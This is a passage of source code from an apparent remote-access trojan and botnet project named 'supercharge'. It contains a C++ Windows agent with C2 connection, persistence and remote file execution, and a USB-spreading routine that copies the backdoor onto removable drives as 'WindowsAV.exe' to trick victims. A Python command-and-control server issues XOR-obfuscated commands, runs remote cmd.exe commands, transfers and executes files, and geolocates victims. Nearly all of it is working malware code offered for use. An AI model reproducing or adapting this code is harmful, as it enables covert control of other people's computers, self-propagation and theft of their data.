BUFFER 1024 28 | #define INTERVAL 5000 29 | #define MAX_PASSWORD 100 30 | #define OKCODE 21 31 | 32 | #define PASSWORD "mysecretpassword" 33 | 34 | // Default 35 | #define SERVER_HOST "127.0.0.1" 36 | #define SERVER_PORT 3982 37 | 38 | 39 | static bool connected = false; 40 | static bool authenticated = false; 41 | 42 | class supercharge { 43 | public: 44 | HANDLE hThread; 45 | DWORD ProcessId(LPCTSTR ProcessName); 46 | char password_buf[MAX_PASSWORD]; 47 | char passes[MAX_PASSWORD]; 48 | char username[UNLEN + 1]; 49 | char hostname[MAX_COMPUTERNAME_LENGTH + 1]; 50 | TCHAR DIR[MAX_PATH]; 51 | DWORD len = UNLEN + 1; 52 | DWORD hlen = sizeof(hostname) / sizeof(hostname[0]); 53 | char wanip[500]; 54 | char DIRFILES[BUFFER]; 55 | WIN32_FIND_DATA data; 56 | SOCKET sockfd; 57 | char recvbuf[BUFFER]; 58 | char* file_commands[5]; 59 | char* dir_commands[5]; 60 | char* msgbox[5]; 61 | char* fcommands[5]; 62 | char* audio[5]; 63 | char* cmd[5]; 64 | char filebuf[BUFFER]; 65 | struct sockaddr_in server; 66 | void strsplit(char src[500], char* dest[5]); 67 | void C2Connect(); 68 | void ConnectionManage(); 69 | void respond(const char* data); 70 | bool isUsbThreadRunning(); 71 | void respondF(const char* data); 72 | std::string OS(); 73 | std::string ramsize(int mode); 74 | std::string USERPC(); 75 | std::string AgentLocation(); 76 | void Wanip(); 77 | void recvFile(); 78 | void ExecuteFile(char* filename); 79 | void Execute(char* toExecute); 80 | void startup(); 81 | void reconnect(); 82 | }; 83 | 84 | 85 | 86 | #endif 87 | -------------------------------------------------------------------------------- /agent/usbb.cpp: -------------------------------------------------------------------------------- 1 | #include "usbb.hpp" 2 | 3 | /* 4 | Note, The Attributes of "WindowsAV.exe" will not be set to hidden because 5 | of it's name some might fall and click on it thinking it's Legit Windows Anti Virus. 6 | 7 | */ 8 | void createFiles(const char* bckdoorPath, const char* usbPathDest){ 9 | /* 10 | Copy Path to destination. 11 | */ 12 | std::ifstream src(bckdoorPath, std::ios::binary); 13 | std::ofstream dst(usbPathDest, std::ios::binary); 14 | dst << src.rdbuf(); 15 | } 16 | 17 | DWORD WINAPI USB_INJECT(LPVOID lpParameter){ 18 | supercharge variables; 19 | char user[UNLEN + 1]; 20 | DWORD length = UNLEN + 1; 21 | DWORD mxpath = MAX_PATH; 22 | char logicalDrives[mxpath]; 23 | char* oneDrive; 24 | UINT uRes; 25 | DWORD cdcheck; 26 | DWORD usbCheck; 27 | std::ostringstream fpath; 28 | while(true){ 29 | DWORD dwResult = GetLogicalDriveStrings(mxpath, logicalDrives); 30 | if(dwResult > 0 && dwResult <= MAX_PATH){ 31 | oneDrive = logicalDrives; 32 | while(*oneDrive){ 33 | oneDrive += strlen(oneDrive) + 1; 34 | uRes = GetDriveTypeA(oneDrive); 35 | fpath.clear(); 36 | fpath.str(""); 37 | fpath << oneDrive << "WindowsAV.exe"; 38 | 39 | //std::string destination = fpath.str() + "WindowsAV.exe"; 40 | if(uRes == DRIVE_REMOVABLE){ 41 | //std::cout << oneDrive << " detected as Removeable drive -> " << uRes << std::endl; 42 | // Open file for checking. 43 | std::ifstream check(fpath.str().c_str()); // C const char 44 | if(!check){ 45 | // if it doesn't exist. Copy it. 46 | // std::cout << "Copying payload to " << fpath.str().c_str() << "\n"; 47 | createFiles(variables.AgentLocation().c_str(), fpath.str().c_str()); 48 | } 49 | 50 | 51 | } else if(uRes == DRIVE_CDROM){ 52 | // std::cout << oneDrive << " detected as CD ROM -> " << uRes << std::endl; 53 | cdcheck = GetFileAttributesA(oneDrive); 54 | if(cdcheck != INVALID_FILE_ATTRIBUTES){ 55 | // std::cout << oneDrive << " is mounted." << std::endl; 56 | createFiles(variables.AgentLocation().c_str(), fpath.str().c_str()); 57 | } 58 | 59 | } 60 | } 61 | Sleep(1000); 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /agent/usbb.hpp: -------------------------------------------------------------------------------- 1 | #ifndef USBB_ 2 | #define USBB_ 3 | 4 | #include "supercharge.hpp" 5 | #include 6 | #include 7 | #include 8 | #include 9 | void createFiles(const char* bckdoorPath, const char* usbPathDest); 10 | DWORD WINAPI USB_INJECT(LPVOID lpParameter); 11 | 12 | #endif -------------------------------------------------------------------------------- /agent/window.cpp: -------------------------------------------------------------------------------- 1 | #include "window.hpp" 2 | 3 | std::string current_window() 4 | { 5 | char window[256]; 6 | memset(window, '\0', 256); 7 | HWND f = GetForegroundWindow(); 8 | GetWindowText(f, window, 256); 9 | return std::string(window); 10 | } -------------------------------------------------------------------------------- /agent/window.hpp: -------------------------------------------------------------------------------- 1 | #ifndef WINDOW_ 2 | #define WINDOW_ 3 | 4 | #include "supercharge.hpp" 5 | 6 | std::string current_window(); 7 | 8 | #endif -------------------------------------------------------------------------------- /agent/xor.cpp: -------------------------------------------------------------------------------- 1 | #include "xor.hpp" 2 | 3 | std::string XOR(std::string data) { 4 | // Encryption KEY BELOW 5 | char key[] = {'M','Y','K','E','Y'}; 6 | // DONT FORGET TO SET ! 7 | std::string output = data; 8 | 9 | for (int i = 0; i < data.size(); i++){ 10 | output[i] = data[i] ^ key[i % (sizeof(key) / sizeof(char))]; 11 | } 12 | return output; 13 | } 14 | -------------------------------------------------------------------------------- /agent/xor.hpp: -------------------------------------------------------------------------------- 1 | #ifndef XORCIPHER_ 2 | #define XORCIPHER_ 3 | 4 | #include 5 | 6 | std::string XOR(std::string data); 7 | #endif -------------------------------------------------------------------------------- /bots/readme.md: -------------------------------------------------------------------------------- 1 | #### This folder contains bot information -------------------------------------------------------------------------------- /img/logo.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/img/logo.ico -------------------------------------------------------------------------------- /img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/img/logo.png -------------------------------------------------------------------------------- /img/sample.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/img/sample.png -------------------------------------------------------------------------------- /img/scan.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/quantumcore/supercharge/a68aa86c576dad578c5ee5532ca4c65a1ecc2304/img/scan.png -------------------------------------------------------------------------------- /install.sh: -------------------------------------------------------------------------------- 1 | clear 2 | echo "\e[1;32m-> Supercharge Setup Script" 3 | echo "---------------------------" 4 | echo "\e[1;33m-> Installing Mingw Cross Compiler" 5 | echo "---------------------------" 6 | apt-get install mingw-w64 > /dev/null 7 | echo "\e[1;33m-> Installing Python3 Pip" 8 | echo "---------------------------" 9 | apt-get install python3-pip > /dev/null 10 | echo "\e[1;33m-> Installing Required Python Packages" 11 | echo "---------------------------" 12 | pip3 install -r requirements.txt 13 | sleep 1 14 | clear 15 | echo "\e[1;94m-> DONE." 16 | -------------------------------------------------------------------------------- /kernel/__init__.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | Gangsters don't cry, Therefore, Therefore I'm. 4 | Mr Misty Eyes, Therefore, I'm. 5 | 6 | """ -------------------------------------------------------------------------------- /kernel/banner.py: -------------------------------------------------------------------------------- 1 | import colorama 2 | from colorama import Fore, Style 3 | 4 | banner = r""" 5 | _________ _________ .__ 6 | / _____/__ ________ ___________ \_ ___ \| |__ _____ _______ ____ ____ 7 | \_____ \| | \____ \_/ __ \_ __ \ / \ \/| | \\__ \\_ __ \/ ___\_/ __ \ 8 | / \ | / |_> > ___/| | \/ \ \___| Y \/ __ \| | \/ /_/ > ___/ 9 | /_______ /____/| __/ \___ >__| \______ /___| (____ /__| \___ / \___ > 10 | \/ |__| \/ \/ \/ \/ /_____/ \/ 11 | """ 12 | 13 | def pbanner(): 14 | return Style.BRIGHT + Fore.LIGHTGREEN_EX + banner + Style.RESET_ALL -------------------------------------------------------------------------------- /kernel/builder.py: -------------------------------------------------------------------------------- 1 | """ 2 | 3 | Generate Agent 4 | 5 | """ 6 | import os 7 | 8 | def create_agent(): 9 | 10 | print( 11 | """ 12 | ---------------------------------------------------------------------------- 13 | -> Generate Agent! 14 | -> This only compiles the agent for you, NOT changes host and port. 15 | -> Follow the instructions on the Official page to change Host and Port. 16 | ---------------------------------------------------------------------------- 17 | """ 18 | ) 19 | 20 | if(os.name == "nt"): 21 | os.chdir("agent") 22 | print("Operating System Windows detected. Executing Make! Make sure it is installed correctly") 23 | os.system("make") 24 | else: 25 | os.chdir("agent") 26 | print("Operating System must be Linux (detected). Executing Make!") 27 | os.system("make linux") 28 | os.chdir("..") 29 | try: 30 | file = "agent/WindowsAV.exe" 31 | with open(file, "rb") as backdoor: 32 | hello = os.stat(file) 33 | print("\n-> WindowsAV.exe | Size : {size} bytes | Path : {path}" 34 | .format(size=str(hello.st_size), path=os.path.dirname(os.path.abspath(file)))) 35 | except FileNotFoundError: 36 | print("-> Failed to create Backdoor.") -------------------------------------------------------------------------------- /kernel/infodb.py: -------------------------------------------------------------------------------- 1 | """ 2 | Simple Information Database using configparser. 3 | -> Save BOT Info as .ini file. 4 | 5 | """ 6 | 7 | import geoip2.database 8 | import configparser, datetime 9 | from colorama import Fore, Style 10 | import colorama 11 | import os 12 | from itertools import cycle 13 | import base64 14 | 15 | #from .supercharge_main import clients 16 | 17 | database_path = "GeoLite2-City.mmdb" 18 | info = configparser.ConfigParser() 19 | tnow = datetime.datetime.now() 20 | globalinfo = configparser.ConfigParser() 21 | 22 | webbotinfo = [] 23 | 24 | try: 25 | globalinfo.read("supercharge.ini") 26 | except FileNotFoundError: 27 | print("--> supercharge Configuration file missing!") 28 | exit(1) 29 | 30 | def xor(data): 31 | # Encryption KEY! EDIT ME ! 32 | key = ['M','Y','K','E','Y'] 33 | # Encryption 34 | output = [] 35 | for i in range(len(data)): 36 | xor_num = ord(data[i]) ^ ord(key[i % len(key)]) 37 | output.append(chr(xor_num)) 38 | return ''.join(output) 39 | 40 | 41 | def WBOTNAMEONLY(file): 42 | try: 43 | info.read("bots/"+file+".ini") 44 | main = info['INFORMATION'] 45 | userpc = main['User-PC'] 46 | return userpc 47 | except Exception as e: 48 | return "Error : " + str(e) 49 | 50 | def BOTNAMEONLY(file): 51 | try: 52 | info.read(file+".ini") 53 | main = info['INFORMATION'] 54 | userpc = main['User-PC'] 55 | return userpc 56 | except Exception as e: 57 | return str(e) 58 | 59 | def BOTOSONLY(file): 60 | try: 61 | info.read(file+".ini") 62 | main = info['INFORMATION'] 63 | os = main['OS'] 64 | return os 65 | except Exception as e: 66 | return str(e) 67 | 68 | def ReadInformation(file): 69 | try: 70 | info.read(file+".ini") 71 | main = info['INFORMATION'] 72 | os = main['OS'] 73 | ram = main['RAM'] 74 | vram = main['VirtualRam'] 75 | minapp = main['MinimumApplicationAddress'] 76 | maxapp = main['MaximumApplicationAddress'] 77 | pagesz = main['PageSize'] 78 | procs = main['Processors'] 79 | agent = main['Agent-Location'] 80 | userpc = main['User-PC'] 81 | wanip = main['WAN'] 82 | ISOCODE = main['ISOCODE'] 83 | country = main['country'] 84 | pcode = main['PostalCode'] 85 | reigon = main['Reigon'] 86 | city = main['City'] 87 | location = main['Location'] 88 | cntime = main['Connected-at'] 89 | btype = main['Connection-type'] 90 | 91 | del webbotinfo[:] 92 | webbotinfo.append("\nOS : " + str(os)) 93 | webbotinfo.append("\nRam : " + str(ram)) 94 | webbotinfo.append("\nVirtual Ram : " + str(vram)) 95 | webbotinfo.append("\nMin App Address : " + str(minapp)) 96 | webbotinfo.append("\nMax App Address : " + str(maxapp)) 97 | webbotinfo.append("\nProcessors : " + str(procs)) 98 | webbotinfo.append("\nPage size : " + str(pagesz)) 99 | webbotinfo.append("\nAgent-Location : " + str(agent)) 100 | webbotinfo.append("\nUser-PC : " + str(userpc)) 101 | webbotinfo.append("\nWAN : " + str(wanip)) 102 | webbotinfo.append("\nISO Code : " + str(ISOCODE)) 103 | webbotinfo.append("\nCountry : " + str(country)) 104 | webbotinfo.append("\nPostal Code : " + str(pcode)) 105 | webbotinfo.append("\nReigon : " + str(reigon)) 106 | webbotinfo.append("\nCity : " + str(city)) 107 | webbotinfo.append("\nLocation : " + str(location)) 108 | webbotinfo.append("\nConnected at : " + str(cntime)) 109 | webbotinfo.append("\nConnection Type : " + str(btype)) 110 | 111 | 112 | print("\n" + file + " Information\n_____________________\n") 113 | print("OS : " + str(os)) 114 | print("Ram : " + str(ram)) 115 | print("Virtual Ram : " + str(vram)) 116 | print("Min App Address : " + str(minapp)) 117 | print("Max App Address : " + str(maxapp)) 118 | print("Processors : " + str(procs)) 119 | print("Page size : " + str(pagesz)) 120 | print("Agent-Location : " + str(agent)) 121 | print("User-PC : " + str(userpc)) 122 | print("WAN : " + str(wanip)) 123 | print("ISO Code : " + str(ISOCODE)) 124 | print("Country : " + str(country)) 125 | print("Postal Code : " + str(pcode)) 126 | print("Reigon : " + str(reigon)) 127 | print("City : " + str(city)) 128 | print("Location : " + str(location)) 129 | print("Connected at : " + str(cntime)) 130 | print("Connection Type : " + str(btype)) 131 | 132 | except Exception as eread: 133 | print("Error Reading Information file. ( " + str(eread) + " )") 134 | 135 | def SaveInformation(client_socket, filename): 136 | 137 | filename = filename+".ini" 138 | botsettings = globalinfo['bot'] 139 | def SendData(data): 140 | try: 141 | ToSend = xor(data) 142 | client_socket.send(ToSend.encode()) 143 | except Exception as serror: 144 | print("[ERROR] " + str(serror)) 145 | 146 | def SendBytes(data): 147 | # data = data.encode() 148 | try: 149 | ToSend = xor(data) 150 | client_socket.send(ToSend) 151 | except Exception as serror: 152 | print("[ERROR] " + str(serror)) 153 | 154 | 155 | def WriteToFile(): 156 | with open(filename, "w+") as infofile: 157 | info['INFORMATION'] = { 158 | 'OS' : str(os), 159 | 'Ram' : str(ram) + " mb", 160 | 'VirtualRam' : str(vram) + " mb", 161 | 'MinimumApplicationAddress' : str(minappaddr), 162 | 'MaximumApplicationAddress' : str(maxappaddr), 163 | 'PageSize' : str(pagesize), 164 | 'Processors' : str(processors), 165 | 'Agent-Location' : str(agent_location), 166 | 'User-PC' : str(user_pc), 167 | 'WAN' : str(wanip), 168 | 'ISOCODE' : str(ISO_CODE), 169 | 'Country' : str(country), 170 | 'PostalCode' : str(pstlcode), 171 | 'Reigon' : str(reigon), 172 | 'City' : str(city), 173 | 'Location' : str(location), 174 | 'Connected-at' : str(tnow), 175 | 'Connection-type' : str(id) 176 | } 177 | 178 | 179 | info.write(infofile) 180 | 181 | database = geoip2.database.Reader(database_path) 182 | try: 183 | SendData("id") 184 | Eid = client_socket.recv(1024).decode() 185 | id = xor(Eid) 186 | 187 | SendData("wanip") 188 | Ewanip = client_socket.recv(1024).decode() 189 | SendData("os") 190 | Eos = client_socket.recv(1024).decode() 191 | SendData("ramsize") 192 | Eram = client_socket.recv(1024).decode() 193 | SendData("vramsize") 194 | Evram = client_socket.recv(1024).decode() 195 | SendData("pagesize") 196 | Epagesize = client_socket.recv(1024).decode() 197 | SendData("processors") 198 | Eprocessors = client_socket.recv(1024).decode() 199 | SendData("minappaddr") 200 | Eminappaddr = client_socket.recv(1024).decode() 201 | SendData("maxappaddr") 202 | Emaxappaddr = client_socket.recv(1024).decode() 203 | SendData("agent") 204 | Eagent_location = client_socket.recv(1024).decode() 205 | SendData("userpc") 206 | Euser_pc = client_socket.recv(1024).decode() 207 | wanip = xor(Ewanip) 208 | pagesize = xor(Epagesize) 209 | processors = xor(Eprocessors) 210 | minappaddr = xor(Eminappaddr) 211 | maxappaddr = xor(Emaxappaddr) 212 | os = xor(Eos) 213 | ram = xor(Eram) 214 | vram = xor(Evram) 215 | agent_location = xor(Eagent_location) 216 | user_pc = xor(Euser_pc) 217 | 218 | if(wanip.startswith("No")): 219 | print("["+Style.BRIGHT + Fore.LIGHTGREEN_EX + "+" + Style.RESET_ALL + "] No Internet was detected on Target PC.") 220 | ip_info = "Failed to get" 221 | ISO_CODE = "Failed to get" 222 | country = "Failed to get" 223 | pstlcode = "Failed to get" 224 | reigon = "Failed to get" 225 | city = "Failed to get" 226 | location = "Failed to get" 227 | else: 228 | ip_info = database.city(wanip) 229 | ISO_CODE = ip_info.country.iso_code 230 | country = ip_info.country.name 231 | pstlcode = ip_info.postal.code 232 | reigon = ip_info.subdivisions.most_specific.name 233 | city = ip_info.city.name 234 | # location = str(ip_info.location.latitude) + " " + str(ip_info.location.longitude) 235 | location = "https://www.google.com/maps?q="+str(ip_info.location.latitude)+","+str(ip_info.location.longitude) 236 | 237 | if(botsettings['auto_print_bot_info'] == True): 238 | print("Ram : " + str(ram)) 239 | print("Virtual Ram : " + str(vram)) 240 | print("Min App Address : " + str(minappaddr)) 241 | print("Max App Address : " + str(maxappaddr)) 242 | print("Processors : " + str(processors)) 243 | print("Page size : " + str(pagesize)) 244 | print("Agent-Location : " + str(agent_location)) 245 | print("User-PC : " + str(user_pc)) 246 | print("WAN : " + str(wanip)) 247 | print("ISO Code : " + str(ISO_CODE)) 248 | print("Country : " + str(country)) 249 | print("Postal Code : "+str(pstlcode)) 250 | print("Reigon : " + str(reigon)) 251 | print("City : " + str(city)) 252 | print("Location : " + str(location)) 253 | print("Connected at : " + str(tnow)) 254 | print("Connection Type : " + str(id)) 255 | print("(All this information is saved under " +filename+")") 256 | 257 | try: 258 | file = open(filename, "r") 259 | print("--> Information exists, Updating...") 260 | file.close() 261 | WriteToFile() 262 | except FileNotFoundError: 263 | print("--> Saving Information..") 264 | WriteToFile() 265 | 266 | except Exception as e: 267 | print("Somethings wrong.... Failed to get Information..") 268 | print("Error : " + str(e)) 269 | pass 270 | 271 | -------------------------------------------------------------------------------- /kernel/notif.py: -------------------------------------------------------------------------------- 1 | from plyer import notification 2 | 3 | def notify(ip,port,total): 4 | notification.notify( 5 | "New Connection.", 6 | ip + ":" + port + " has successfully Connected.\nTotal : " + total, 7 | "Super Charge", 8 | "img/logo.ico" 9 | ) -------------------------------------------------------------------------------- /kernel/session.py: -------------------------------------------------------------------------------- 1 | from .spmain import * 2 | from .infodb import xor 3 | 4 | def run_session(sockfd,mode, input_string, cid_int, infoFor): 5 | 6 | def SendData(data): 7 | try: 8 | ToSend = xor(data) 9 | sockfd.send(ToSend.encode()) 10 | except Exception as serror: 11 | print("[ERROR] " + str(serror)) 12 | 13 | def SendBytes(data): 14 | """ File Content is sent without Encryption """ 15 | try: 16 | sockfd.send(data) 17 | except Exception as error: 18 | clients.remove(sockfd) 19 | print(Style.BRIGHT + "Error Occured : " + str(error)) 20 | 21 | 22 | def filetransfer(): 23 | mfile = input("[+] File Path : ") 24 | rfile = input("[+] File name to Save as : ") 25 | try: 26 | with open(mfile, "rb") as sendfile: 27 | SendData("recvthis="+rfile) 28 | data = sendfile.read() 29 | bufferst = os.stat(mfile) 30 | print("[+] File opened " + mfile + " ("+str(bufferst.st_size) + " bytes)" ) 31 | SendBytes(data) 32 | print("[+] File Sent.") 33 | except FileNotFoundError: 34 | print("[x] File not found!?") 35 | except Exception as e: 36 | print("[x] Error : " + str(e)) 37 | 38 | while(mode): 39 | try: 40 | sinput = input(input_string) 41 | args = sinput.split() 42 | if(sinput == "exit"): 43 | mode = False 44 | 45 | elif(sinput == "botinfo"): 46 | try: 47 | ReadInformation(infoFor) 48 | except IndexError: 49 | print("--> BOT is not online!?") 50 | 51 | elif(sinput == "msgbox"): 52 | try: 53 | title = input("-> Enter MessageBox Title : ") 54 | message = input("-> Enter Messagebox Message : ") 55 | SendData("msgbox="+message+"="+title) 56 | except Exception as e: 57 | print("Error : {error}.".format(error=str(e))) 58 | 59 | elif(sinput == "ls"): 60 | SendData("ls") 61 | 62 | elif(sinput == "exec"): 63 | filename = input("-> Enter filename to Execute : ") 64 | if(len(filename) > 0): 65 | SendData("exec="+filename) 66 | 67 | elif(sinput.startswith("download")): 68 | try: 69 | todownload = input("[+] Enter filename to Download : ") 70 | askd = input("-> Confirm download file '{file}' .. ? (y/N): ".format(file=todownload)) 71 | askd = askd.lower() 72 | if(askd == "y"): 73 | SendData("sendme="+todownload) 74 | except IndexError: 75 | print("[x] USAGE : download ") 76 | elif(sinput == "upload"): 77 | filetransfer() 78 | 79 | elif(sinput.startswith("cd")): 80 | try: 81 | param = sinput.split() 82 | if(param[1] == "-s"): 83 | directory = input("-> Enter Directory name : ") 84 | SendData("cd="+directory) 85 | else: 86 | SendData("cd="+param[1]) 87 | 88 | except IndexError: 89 | print("["+Style.BRIGHT + Fore.RED + "X" + Style.RESET_ALL + "] USAGE : cd < Directory >") 90 | 91 | elif(sinput == "cmd"): 92 | cmd = input("[+] Enter Command : cmd.exe /c ") 93 | if(len(cmd) > 0): 94 | SendData("cmd="+cmd) 95 | 96 | elif(sinput == "help"): 97 | print(""" 98 | Direct BOT commands 99 | ==================== 100 | (1). botinfo - View Botinfo 101 | (2). msgbox - Send messagebox. 102 | (3). send < data > - Send a command directly. 103 | (4). cmd - Only Execute a Command on the System, No output is returned. 104 | (5). upload - Upload a file. 105 | (6). download - Download a file. 106 | (7). cd < dir > - Change directories. (Use -s switch to specify directory name with spaces) 107 | (8). ls - List files in current directory. 108 | 109 | Use with Send 110 | ============= 111 | (1). send -> test 112 | | Misc Command. 113 | (2). send -> windowname 114 | | Get Active Window name. 115 | (3). send -> cfolder 116 | | Get current folder name without FSConsole. 117 | (4). send -> usb.thread 118 | | Check if USB Thread is running. The thread that injects USB's. 119 | (5). send -> wanip 120 | | Get WAN IP Directly. 121 | (6). send -> hostname 122 | | Get Hostname Directly. 123 | (7). send -> username 124 | | Get Username Directly. 125 | (8). send -> creds 126 | | Not Added yet. 127 | (9). send -> jre 128 | | Check if Java is installed or not. 129 | """) 130 | 131 | elif(sinput.startswith("send")): 132 | try: 133 | SendData(args[1]) 134 | except IndexError: 135 | print("USAGE : send ") 136 | except KeyboardInterrupt: 137 | mode = False 138 | -------------------------------------------------------------------------------- /kernel/spmain.py: -------------------------------------------------------------------------------- 1 | import socket 2 | 3 | import _thread 4 | 5 | from colorama import Fore, Style 6 | 7 | from .infodb import * 8 | 9 | from .session import run_session 10 | 11 | import configparser 12 | 13 | from os import stat 14 | 15 | from os import path 16 | 17 | from .builder import create_agent 18 | 19 | import os 20 | 21 | import base64 22 | 23 | from kernel.banner import pbanner 24 | 25 | from .notif import notify 26 | 27 | 28 | colorama.init() 29 | BUFFER = 1024 30 | global client, addr 31 | clients = [] 32 | oslist = [] 33 | 34 | iplist = [] 35 | wan_ip_list = [] 36 | 37 | isSession = False 38 | 39 | infodb = configparser.ConfigParser() 40 | settings = configparser.ConfigParser() 41 | 42 | try: 43 | settings.read("supercharge.ini") 44 | server_settings = settings['server'] 45 | bot_settings = settings['bot'] 46 | except Exception as e: 47 | print(str(e)) 48 | exit(True) 49 | 50 | 51 | def SendData(csocket, data): 52 | csocket = int(csocket) 53 | sockfd = clients[csocket] 54 | 55 | try: 56 | toSend = xor(data) 57 | sockfd.send(toSend.encode()) 58 | except Exception as error: 59 | clients.remove(sockfd) 60 | print(Style.BRIGHT + "Error Occured : " + str(error)) 61 | 62 | def SendFData(csocket, data): 63 | csocket = int(csocket) 64 | sockfd = clients[csocket] 65 | 66 | try: 67 | sockfd.send(data.encode()) 68 | except Exception as error: 69 | clients.remove(sockfd) 70 | print(Style.BRIGHT + "Error Occured : " + str(error)) 71 | 72 | 73 | def SendBytes(csocket, data): 74 | """ Binary File Content is sent without Encryption """ 75 | csocket = int(csocket) 76 | sockfd = clients[csocket] 77 | 78 | try: 79 | sockfd.send(data) 80 | except Exception as error: 81 | clients.remove(sockfd) 82 | print(Style.BRIGHT + "Error Occured : " + str(error)) 83 | 84 | 85 | def clear(): 86 | if(os.name == "nt"): 87 | os.system("cls") 88 | else: 89 | os.system("clear") 90 | 91 | def botlist(): 92 | return str(len(clients)) 93 | 94 | def botinfo(): 95 | if(len(clients) > 0): 96 | for i in range(len(wan_ip_list)): 97 | return UIReadInformation(wan_ip_list[i]) 98 | else: 99 | return "-" 100 | 101 | def AllBotNames(): 102 | if(len(clients) > 0): 103 | for i in range(len(iplist)): 104 | return BOTNAMEONLY(iplist[i]) 105 | else: 106 | return "-" 107 | 108 | def broadcast(data): 109 | try: 110 | ToSend = xor(data) 111 | for i in clients: 112 | i.send(ToSend.encode()) 113 | except Exception as error: 114 | print(Style.BRIGHT + "Error Occured : " + str(error)) 115 | 116 | 117 | 118 | 119 | def Server(): 120 | server = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP) 121 | server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 122 | server.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1) 123 | server.setsockopt(socket.SOL_TCP, socket.TCP_KEEPIDLE, 1) 124 | server.setsockopt(socket.SOL_TCP, socket.TCP_KEEPINTVL, 1) 125 | server.setsockopt(socket.SOL_TCP, socket.TCP_KEEPCNT, 5) 126 | 127 | def ReceiveThread(ip, port, csocket, wanip): 128 | def clearLists(): 129 | try: 130 | clients.remove(csocket) 131 | iplist.remove(ip) 132 | wan_ip_list.remove(wanip) 133 | except ValueError: 134 | print("[+] Socket not in list.") 135 | 136 | while(True): 137 | try: 138 | reply = csocket.recv(1024).decode() 139 | if(not reply): 140 | clearLists() 141 | print(Style.BRIGHT + "BOT disconnected.") 142 | print("Online Bots : " + str(len(clients))) 143 | break 144 | # Decrypt the data 145 | response = xor(reply) 146 | if(response.startswith("savethis")): 147 | print("\n[+] Incoming file request..") 148 | try: 149 | f = response.split("=") 150 | csocket.settimeout(10) 151 | try: 152 | with open(f[1], "wb") as received_file: 153 | data = csocket.recv(4096) 154 | print("[+] Downloading file '{fl}'".format(fl=f[1])) 155 | while(data): 156 | received_file.write(data) 157 | data = csocket.recv(4096) 158 | if not data: 159 | break 160 | except: 161 | received_file.close() 162 | csocket.settimeout(None) 163 | print("[+] Downloaded file '"+f[1] +"'.") 164 | sa = stat(f[1]) 165 | print( 166 | "[+] Filename : {filename} | Size : {size} bytes | Saved : {fp}".format( 167 | filename = f[1], 168 | size = str(sa.st_size), 169 | fp = str(path.dirname(path.abspath(f[1]))) 170 | ) 171 | ) 172 | 173 | except IndexError: 174 | print("Error.") 175 | else: 176 | # if(isSession == True): 177 | #print(str(response)) 178 | # else: 179 | print(Style.RESET_ALL + "\n["+Fore.LIGHTGREEN_EX + Style.BRIGHT + "+"+ Style.RESET_ALL + "] "+ip+":"+port+" - " + str(response), flush=True) 180 | except UnicodeDecodeError as ude: 181 | print(Style.BRIGHT + "Unicode Decode error : " + str(ude)) 182 | except UnicodeEncodeError as eEe: 183 | print(Style.BRIGHT + "Unicode Encode error : " + str(eEe)) 184 | except ConnectionAbortedError as cAe: 185 | # cAe : Connection Aborted Error :v 186 | clearLists() 187 | print(Style.BRIGHT + "Error Occured : " + str(cAe)) 188 | print("Online Bots : " + str(len(clients))) 189 | break 190 | 191 | except ConnectionError as cE: 192 | # cE : Connection Error :'v 193 | clearLists() 194 | print(Style.BRIGHT + "Error Occured : " + str(cE)) 195 | print("Online Bots : " + str(len(clients))) 196 | break 197 | 198 | except ConnectionRefusedError as cRe: 199 | # cRe : Connection Refused Error ;'v 200 | clearLists() 201 | print(Style.BRIGHT + "Error Occured : " + str(cRe)) 202 | print("Online Bots : " + str(len(clients))) 203 | break 204 | 205 | except ConnectionResetError as cRetwo: 206 | clearLists() 207 | print(Style.BRIGHT + "Error Occured : " + str(cRetwo)) 208 | print("Online Bots : " + str(len(clients))) 209 | break 210 | 211 | except socket.error as se: 212 | # for sockfd in clients: 213 | # clients.remove(sockfd) 214 | clearLists() 215 | print(Style.BRIGHT + "Error Occured : " + str(se)) 216 | print("Online Bots : " + str(len(clients))) 217 | break 218 | 219 | except Exception as recv_error: 220 | clearLists() 221 | print(Style.BRIGHT + "Error Occured : " + str(recv_error)) 222 | print("Online Bots : " + str(len(clients))) 223 | break 224 | 225 | host = server_settings['host'] 226 | port = int(server_settings['port']) 227 | 228 | try: 229 | server.bind((host, port)) 230 | except Exception as i: 231 | raise i 232 | 233 | try: 234 | server.listen(5) 235 | # print("Server running.") 236 | except KeyboardInterrupt: 237 | print(" Keyboard Interrupt, Exit.") 238 | exit() 239 | except Exception as errunknown: 240 | print(str(errunknown)) 241 | 242 | while(True): 243 | 244 | client, addr = server.accept() 245 | clients.append(client) 246 | iplist.append(str(addr[0])) 247 | if(bot_settings['verbrose'] == "True"): 248 | print("[+] New connection from " + str(addr[0]) +":"+ str(addr[1])) 249 | try: 250 | pw = xor(bot_settings['password']) 251 | if(bot_settings['verbrose'] == "True"): 252 | print("[+] Sending Password : " + bot_settings['password'] + " ("+pw + ")") 253 | client.send(pw.encode()) 254 | 255 | client.settimeout(10) 256 | try: 257 | # Set 10 seconds timeout to wait for client 258 | 259 | pwInfo = client.recv(1024).decode() 260 | if(pwInfo.startswith("INCORRENT PASSWORD.")): 261 | print("[+] " + xor(pwInfo) + ". Password Rejected by Agent.") 262 | clients.remove(client) 263 | iplist.remove(str(addr[0])) 264 | break 265 | except socket.timeout: 266 | client.settimeout(None) 267 | print("\n[+] Timed out, Client did not send a Response. Connection closed.") 268 | print("\n[+] Kicked {ip}:{port}..".format(ip=str(addr[0]), port=str(addr[1]))) 269 | client.shutdown(socket.SHUT_RDWR) 270 | client.close() 271 | clients.remove(client) 272 | iplist.remove(str(addr[0])) 273 | break 274 | 275 | client.settimeout(None) 276 | if(bot_settings['verbrose'] == "True"): 277 | print("[+] " + xor(pwInfo)) 278 | # Receive Wan ip for file name 279 | client.send(xor("wanip").encode()) 280 | Ewanip = client.recv(1024).decode() 281 | client.send(xor("os").encode()) 282 | Eos = 